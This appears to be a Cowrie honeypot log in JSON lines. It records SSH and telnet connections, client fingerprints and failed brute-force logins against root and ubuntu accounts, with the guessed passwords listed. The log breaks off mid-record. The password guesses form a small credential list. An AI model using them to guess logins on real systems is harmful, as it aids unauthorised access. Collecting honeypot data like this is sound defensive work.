{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:11:53.629683Z","src_ip":"91.92.40.36","session":"0aeab0b42d18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.492894411087036,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:11:56.007249Z","src_ip":"128.199.8.54","session":"67f31849109f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":47902,"dst_ip":"10.17.0.5","dst_port":22,"session":"8da12cdde05f","protocol":"ssh","message":"New connection: 91.92.40.36:47902 (10.17.0.5:22) [session: 8da12cdde05f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:11:58.061366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:11:58.658327Z","src_ip":"91.92.40.36","session":"8da12cdde05f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:11:58.687073Z","src_ip":"91.92.40.36","session":"8da12cdde05f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@123","message":"login attempt [root/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:01.253549Z","src_ip":"91.92.40.36","session":"0aeab0b42d18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxaszxas","message":"login attempt [root/zxaszxas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:01.518169Z","src_ip":"91.92.40.36","session":"8da12cdde05f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.79631495475769,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:02.617098Z","src_ip":"172.81.62.90","session":"a3967034d857","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:02.954971Z","src_ip":"91.92.40.36","session":"8da12cdde05f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.5","message":"Connection lost after 11.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:03.697839Z","src_ip":"91.92.40.36","session":"0aeab0b42d18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":36974,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c9fc342b664","protocol":"ssh","message":"New connection: 91.92.40.36:36974 (10.17.0.5:22) [session: 7c9fc342b664]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:07.976827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:08.277285Z","src_ip":"91.92.40.36","session":"7c9fc342b664","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"73.36.177.174","src_port":46916,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f2ac7650c9d","protocol":"ssh","message":"New connection: 73.36.177.174:46916 (10.17.0.5:22) [session: 0f2ac7650c9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:08.409161Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:08.417993Z","src_ip":"73.36.177.174","session":"0f2ac7650c9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:08.453950Z","src_ip":"73.36.177.174","session":"0f2ac7650c9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Tz123456","message":"login attempt [root/Tz123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:08.676196Z","src_ip":"73.36.177.174","session":"0f2ac7650c9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:08.923128Z","src_ip":"91.92.40.36","session":"7c9fc342b664","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:09.721297Z","src_ip":"73.36.177.174","session":"0f2ac7650c9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":37034,"dst_ip":"10.17.0.5","dst_port":22,"session":"edca7e4f90e5","protocol":"ssh","message":"New connection: 91.92.40.36:37034 (10.17.0.5:22) [session: edca7e4f90e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:12.802928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:13.407184Z","src_ip":"91.92.40.36","session":"edca7e4f90e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:13.411712Z","src_ip":"91.92.40.36","session":"edca7e4f90e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.136.214.177","src_port":64116,"dst_ip":"10.17.0.5","dst_port":22,"session":"18063eb73307","protocol":"ssh","message":"New connection: 150.136.214.177:64116 (10.17.0.5:22) [session: 18063eb73307]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:15.144546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:15.149684Z","src_ip":"150.136.214.177","session":"18063eb73307","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"671ac49b8bd65b9e8ff02a3e690f0fd3","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-512,hmac-sha2-256;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-512","hmac-sha2-256"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 671ac49b8bd65b9e8ff02a3e690f0fd3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:15.175998Z","src_ip":"150.136.214.177","session":"18063eb73307","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"elephant","message":"login attempt [root/elephant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:15.326991Z","src_ip":"150.136.214.177","session":"18063eb73307","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:16.359535Z","src_ip":"150.136.214.177","session":"18063eb73307","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345","message":"login attempt [ubuntu/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:16.377471Z","src_ip":"91.92.40.36","session":"edca7e4f90e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":11560,"dst_ip":"10.17.0.5","dst_port":22,"session":"84a880442a50","protocol":"ssh","message":"New connection: 38.93.206.2:11560 (10.17.0.5:22) [session: 84a880442a50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:17.222076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:17.229381Z","src_ip":"38.93.206.2","session":"84a880442a50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:17.294781Z","src_ip":"38.93.206.2","session":"84a880442a50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19031984","message":"login attempt [root/19031984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:17.480468Z","src_ip":"38.93.206.2","session":"84a880442a50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password123","message":"login attempt [root/password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:17.548438Z","src_ip":"91.92.40.36","session":"7c9fc342b664","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:17.925348Z","src_ip":"91.92.40.36","session":"edca7e4f90e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.122.139","src_port":49776,"dst_ip":"10.17.0.5","dst_port":22,"session":"5664e3536039","protocol":"ssh","message":"New connection: 101.36.122.139:49776 (10.17.0.5:22) [session: 5664e3536039]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:18.143197Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:18.151610Z","src_ip":"101.36.122.139","session":"5664e3536039","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:18.375330Z","src_ip":"101.36.122.139","session":"5664e3536039","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:18.533833Z","src_ip":"38.93.206.2","session":"84a880442a50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1QAZ@WSX","message":"login attempt [root/1QAZ@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:19.292748Z","src_ip":"101.36.122.139","session":"5664e3536039","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.2","message":"Connection lost after 12.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:20.223816Z","src_ip":"91.92.40.36","session":"7c9fc342b664","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:20.524607Z","src_ip":"101.36.122.139","session":"5664e3536039","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":31606,"dst_ip":"10.17.0.5","dst_port":22,"session":"f75a9b4adce0","protocol":"ssh","message":"New connection: 91.92.40.36:31606 (10.17.0.5:22) [session: f75a9b4adce0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:21.535434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:12:21.617322Z","src_ip":"91.92.40.36","session":"f75a9b4adce0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"